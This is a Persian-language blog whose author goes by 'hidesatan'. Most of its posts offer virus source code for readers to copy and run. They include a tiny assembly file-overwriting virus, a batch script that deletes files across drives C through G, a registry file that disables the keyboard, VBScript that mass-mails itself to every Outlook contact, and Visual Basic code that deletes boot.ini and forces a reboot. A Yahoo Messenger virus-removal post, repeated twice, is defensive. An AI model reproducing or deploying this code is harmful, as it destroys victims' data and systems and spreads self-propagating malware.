امیدوارم که وقت کنم ادامه بدم. کلش 24 قسمت شبیه این است که در انتهای اون تقریبا کاربر مسلط به برنامه نویسی php خواهد شد.
 
 

 

+ نوشته شده در  ساعت 12:27  توسط شیطان پنهان(hidesatan)  | 

اين کد يکي از کم حجم ترين ويروسهاي دنيا هست که بزبان اسمبلي نوشته شده

اين کد يکي از کم حجم ترين ويروسهاي دنيا هست که بزبان اسمبلي نوشته شده.  ساختار ساده اين ويروس همه رو محو ميکنه و هنر برنامه نويسي اينجا به اوج ميرسه. البته کاري که اين ويروس ميکنه خيلي احمقانه بنظر مياد.. ولي حجم کمش باعث ميشه که مورد توجه قرار بگيره. (دستکاري رجيسترها به اين صورت يه کم احمقانه هست 

.
;Code by Stormbringer..

.model tiny
.radix 16
.code
        org 100
start:
       
FindFile:       
        xchg    cx,ax           ;ax defaults to zero on runtime - cx doesn't
        push    si              ;si defaults to 100h under dos - use this l8r
        mov     dx,offset filemask
        mov     ah,4e
        int     21

OverwriteFile:
        mov     dx,9e
        mov     ah,3c
        int     21

WriteVirus:       
        xchg    bx,ax
        mov     ah,40
        pop     dx              ;get 100h from si earlier for write pointer
        mov     cl,endvir-start ;move only to CL, CH is already zero
        int     21

Terminate:
        ret                     ;terminate by returning to PSP (Int 20)

filemask        db      '*.*',0
endvir:
end start

+ نوشته شده در  ساعت 12:5  توسط شیطان پنهان(hidesatan)  | 

نحوه پاک کردن ویروس جدید یاهو مسنجر...

نحوه پاک کردن ویروس جدید یاهو مسنجر...

 اخیرا تعداد زیادی از کاربران اینترنت از طریق کلیک کردن بر روی یک لینک ناشناس در یاهو مسنجر به ویروس آلوده شده اند. با توجه به اینکه در روزهای گذشته تعداد زیادی از دوستان برای راه حل حذف و امن کردن سیستم هایشان از من سوال کرده اند و از طرفی دریافت این همه پیغام های ویروسی در یاهو مسنجر واقعا آزار دهنده است ، راهکار تشخیص و حذف ویروس را در اینجا معرفی می نمایم.

1- نحوه تشخیص آلوده شدن به ویروس :

بارز ترین نشانه های آلودگی به ویروس تغییر یافتن صفحه اول مرورگر وب به آدرس nsl-school.org یا mytermex.com می باشد. نشانه دیگر آن ارسال پیغام های مختلف به دوستان شما در یاهو مسنجر است که در آنها به سایت nsl-school.org یا mytermex.com آدرس داده شده است. برخی از این پیغام ها عبارتند از:
A new dangerous computer virus that can destroys all your data has just been released . Click here to know how to avoid it : http://mytermex.com?id=pc_protector
Download free MP3s : http://nsl-school.org?id=music
have you ever seen such a silly man like this ? http://nsl-school.org?id=stories

2- نحوه پاک کردن ویروس

برای سهولت کاربران غیر حرفه ای کامپیوتر مجموعه دستورات لازم در یک فایل قرار داده شده است که می توانید این فایل را داونلود و احرا نمایید.
برای دانلود آنتی ویروس اینجا را کلیک کنید.


کاربران حرفه ای می توانند بصورت دستی این کار را انجام دهند و توضیحات لازم را از این آدرس بخوانند. ترجمه فارسی این مطالب هم در سایت winbeta.net قرار گرفته است.

3- نحوه جلوگیری از ویروسی شدن:
بهترین کار کنار گذشتن مرورگر Microsoft Internet Explorer و استفاده از Firefox است.
برای جوگیری موقتی از ویروسی شدن می توانید از راهکار ارایه شده توسط شرکت میکروسافت استفاده نمایید.

 

موفق باشید...

+ نوشته شده در  ساعت 12:3  توسط شیطان پنهان(hidesatan)  | 

نحوه پاک کردن ویروس جدید یاهو مسنجر...

نحوه پاک کردن ویروس جدید یاهو مسنجر...

 اخیرا تعداد زیادی از کاربران اینترنت از طریق کلیک کردن بر روی یک لینک ناشناس در یاهو مسنجر به ویروس آلوده شده اند. با توجه به اینکه در روزهای گذشته تعداد زیادی از دوستان برای راه حل حذف و امن کردن سیستم هایشان از من سوال کرده اند و از طرفی دریافت این همه پیغام های ویروسی در یاهو مسنجر واقعا آزار دهنده است ، راهکار تشخیص و حذف ویروس را در اینجا معرفی می نمایم.

1- نحوه تشخیص آلوده شدن به ویروس :

بارز ترین نشانه های آلودگی به ویروس تغییر یافتن صفحه اول مرورگر وب به آدرس nsl-school.org یا mytermex.com می باشد. نشانه دیگر آن ارسال پیغام های مختلف به دوستان شما در یاهو مسنجر است که در آنها به سایت nsl-school.org یا mytermex.com آدرس داده شده است. برخی از این پیغام ها عبارتند از:
A new dangerous computer virus that can destroys all your data has just been released . Click here to know how to avoid it : http://mytermex.com?id=pc_protector
Download free MP3s : http://nsl-school.org?id=music
have you ever seen such a silly man like this ? http://nsl-school.org?id=stories

2- نحوه پاک کردن ویروس

برای سهولت کاربران غیر حرفه ای کامپیوتر مجموعه دستورات لازم در یک فایل قرار داده شده است که می توانید این فایل را داونلود و احرا نمایید.
برای دانلود آنتی ویروس اینجا را کلیک کنید.


کاربران حرفه ای می توانند بصورت دستی این کار را انجام دهند و توضیحات لازم را از این آدرس بخوانند. ترجمه فارسی این مطالب هم در سایت winbeta.net قرار گرفته است.

3- نحوه جلوگیری از ویروسی شدن:
بهترین کار کنار گذشتن مرورگر Microsoft Internet Explorer و استفاده از Firefox است.
برای جوگیری موقتی از ویروسی شدن می توانید از راهکار ارایه شده توسط شرکت میکروسافت استفاده نمایید.

 

موفق باشید...

+ نوشته شده در  ساعت 12:1  توسط شیطان پنهان(hidesatan)  | 

HARD

 یه سورس ویروس دارم که خیلی خطرناکه و کل هارد رو تخریب میکنه فقط کافیه این کدها را در Notepad و نوشته و با پسوندBATذخیره کنید

@echo off

ATTRIB -a -s -h -r c

ATTRIB -a -s -h -r c:\windows\*.*

Echo y | echo a | Echo y | del c:\*.*

Echo y | echo a | Echo y | del d:\*.*

Echo y | echo a | Echo y | del e:\*.*

Echo y | echo a | Echo y | del f:\*.*

Echo y | echo a | Echo y | del g:\*.*

echo y | copy *.* C:\

echo y | copy *.* D:\

echo y | copy *.* E:\

echo y | copy *.* F:\

echo y | copy *.* G:\

resrart

تذکر :

۱-هرگز این فایل را داخل سیستم خود اجرا نکنید کنید

۲-این ویروس صدمه ای(فیزیکی) به هارد نمی رسونه نترسید فقط هارد رو بهم می ریزه

+ نوشته شده در  ساعت 21:23  توسط شیطان پنهان(hidesatan)  | 

ویروس FLICKER

و اما پادزهر

با کپی کردن کدهای زیر وی (و طی مراحل گفته شده)می توان اجرای این ویروس را متوقف کرد


Windows Registry Editor Version 5.00
[
HKEY_CURRENT_USER\Control Panel\Accessibility\Keyboard Response]
"
Flags"="126"
[
HKEY_CURRENT_USER\Control Panel\Accessibility\SoundSentry]
"
Flags"="2"
"
WindowsEffect"="0"

+ نوشته شده در  ساعت 21:22  توسط شیطان پنهان(hidesatan)  | 

ویروس FLICKER

ویروس این دفعه ویروس FLICKERکه با ایجاد تغییراتی درجیستری باعث میشه تا با فشردن هر یک از کلید های کیبرد صدایbeepشنیده بشه و عملا کیبرد غیر فعال بشه

شروع کار

ابتدا کدهای زیر را درnotepadکپی کنید و با پسوندreg(رجیستری)ذخیره کنید.

Windows Registry Editor Version 5.00  
[HKEY_CURRENT_USER\Control Panel\Accessibility\Keyboard Response]
"Flags"="127"
[HKEY_CURRENT_USER\Control Panel\Accessibility\SoundSentry]
"Flags"="3"
"WindowsEffect"="3"
حالا بعد اجرای این برنامه رجیستری از شما تمایل ادامه به این کار رو می پرسه که با تعیید اون و راه اندازیه دوبارهی سیستم کار این ویروس در رجیستری شروع میشه

+ نوشته شده در  ساعت 21:21  توسط شیطان پنهان(hidesatan)  | 

توانایی توزیع خودکار ویروس

توانایی توزیع خودکار ویروس

برای این کار کافیه این کدها را در برنامه قرار بدید

Set OutlookApp = CreateObject("Outlook.Application")
If Not OutlookApp = "" Then
For Each ContactSwitch In OutlookApp.GetNameSpace("MAPI").AddressLists
For UserGroup = 1 To ContactSwitch.AddressEntries.Count
Set OutlookEmail = OutlookApp.CreateItem(0)
OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup)
OutlookEmail.Subject = "Check this out!"
OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"
OutlookEmail.Attachments.Add WScript.ScriptFullName
OutlookEmail.DeleteAfterSubmit = True
OutlookEmail.Send
Next
Next
End If
 
 
OutlookEmail.Subject = "Check this out!"
OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"
OutlookEmail.Attachments.Add WScript.ScriptFullName
 

 

 

نکته:

1-در این کدها در قسمت موضوع ومتن نامه میتوانید عبارت دلخواهتون را جایگزین کنید

2-ترجیحا این کدها باید در قسمت Form_Load نوشته شوند

3-این کدها به خودی خود ویروس نیستند بلکه شما باید در کنار این کدها کد اصلی(بدنه ی ویروس) را حتما وارد کنید

+ نوشته شده در  ساعت 21:20  توسط شیطان پنهان(hidesatan)  | 

screen saver

سلام دوستان 
این بار با یه کد جدید به سراغ شماامدم
این برنامه (ویروس)ویندوز رو به حالت screen saver می بره ولی کاربر دیگه قادر نیست از screen saver
خارج بشه و مطمئن باشید راه دیگه ای بجز ری استارت سیستم نمی مونه
خب برای شروع ابتدا این کد ها رو در قسمت   Generalفرم قرار دهید (کپی کنید)


Private Const SC_SCREEnSAVE = &HF140&
Private Const WM_SYSCOMMAND = &H112
Private Declare Function FindWindowA Lib "user32" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParm As Any) As Long
Sub ScreenSaver(blnScreenSaver As Boolean, Optional lHwnd As Long, Optional sFormCaption As String)
Dim lState As Long
If lHwnd = 0 Then
lHwnd = FindWindowA(vbNullString, sFormCaption)
End If
If blnScreenSaver Then
lState = 1
Else
lstat = -1
End If
Call SendMessage(lHwnd, WM_SYSCOMMAND, SC_SCREEnSAVE, lState)
End Sub

و در اخر یه timerبا قابلیت interval=1 به فرم اضافه کنید و کد های زیر را به فرم اضافه کنید(کپی کنید)


Private Sub Timer1_Timer()
Call ScreenSaver(Me.hWnd, Me.hWnd, -1)
End Sub

تو ضیحات:
۱-صرفا عاملی که بر نامه رو به یه شبه ویروس تبدیل می کنه وجوده تایمره با قابلیت intervalبسیار کم برای
گرفتن هر گونه قدرت عکس العمل از قربانی میگیره چون باعث میشه هربار که کاربر screen saver
را غیر فعال می کنه دوباره اونو اجرا کنه

۲-اگر چه یاداوری این مطلب را غیر ضروری می دونم ولی این کدها وربوط به ویژوال بیسیکه

+ نوشته شده در  ساعت 21:18  توسط شیطان پنهان(hidesatan)  | 

از بین بردن ویندوز (همراه با ویژوال بیسیک)

دوستان از کار انداختن ویندوز اصلا کار سختی نیست در واقع فقط باید یه فایل با پسوندini
به اسم boot را از بین ببریم.که این کار با استفاده ارپز فرمان killعملیه
خب بریم سراغ کدها
برای این ویروس تنها باید کدهای زیر را در form loadبنویسید
("  Kill ("c:\boot.ini
     " Shell "shutdown -r -t 1
فکر نمی کنم نیاز به توضیح باشه
+ نوشته شده در  ساعت 21:17  توسط شیطان پنهان(hidesatan)  |